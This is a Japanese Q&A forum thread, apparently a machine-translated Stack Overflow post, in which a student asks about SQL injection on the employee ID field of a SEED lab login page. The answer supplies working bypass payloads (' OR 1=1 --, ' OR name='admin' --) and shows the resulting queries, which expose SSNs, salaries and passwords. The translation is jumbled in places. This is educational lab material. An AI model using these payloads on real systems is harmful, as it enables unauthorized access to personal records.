2017-10-10 5 views
1

SQLプログラミングは比較的新しいので、私たちのラボでは、次のコードに基づいてウェブサイトの従業員IDフィールドに文を挿入するように求められています。 1 = 1 name = "admin"と入力するだけですが、これはうまくいかないようです。シードラボでSQLインジェクションを行う方法

+0

を? v = ciNHn38EyRc – Rafa

+1

そのコードはそれに構文エラーがあるので100%安全です – rtfm

答えて

1

ここでSQLを挿入する方法の1つは、userIdに常に当てはまる条件を挿入し、パスワードを処理する条件をコメントアウトすることです。

例えば、次の点を考慮してください

$input_eid = "1' OR 1=1 --"; 
$input_pwd = "does not matter"; 

これは、次のSQL生成する必要があります:あなたが見ることができるように、このクエリは関係なく、データベース内のすべての行を明確に返します

SELECT id, name, eid, salary, birth, ssn, 
phonenumber, address, email, nickname, Password 
FROM credential 
WHERE eid= '1' OR 1=1 -- and password='does not matter' 

をあなたが注射しているパスワード。

EDIT:
以下のコメントでの要件の明確化を1として、あなたは管理者の詳細を取得するname='admin'と「OR 1 = 1」の部分を置き換えることができます。有効なIDではないものから始めるようにしてください。誤ってその詳細を取得しないようにしてください。例えば、次の点を考慮してください

$input_eid = " ' OR name='admin' --"; 
$input_pwd = "does not matter"; 

あなたが管理者の詳細を照会します以下のSQL、取得したい:https://www.youtube.com/watch:私は見てお勧めします

SELECT id, name, eid, salary, birth, ssn, 
phonenumber, address, email, nickname, Password 
FROM credential 
WHERE eid= ' ' OR name='admin' --' and password='does not matter' 
+0

あなたが注射する必要があるのは、タイプが「1 'OR 1 = 1 - 」です。社員IDフィールドに入力すると、パスワードフィールドは無関係になりますか? –

+0

@JohnW間にどこにでも入力を殺菌しないと仮定した場合、そうする必要があります。 – Mureinik

+0

これは現在どのように動作しているのか理解していますが、意図したとおりに動作しないようです。完全な質問は次のとおりです。adminという管理者のアカウント名はわかっていますが、IDまたはパスワードはわかりません。攻撃に成功するには、[Employee ID]と[Password]フィールドに入力する内容を決定する必要があります。 –

関連する問題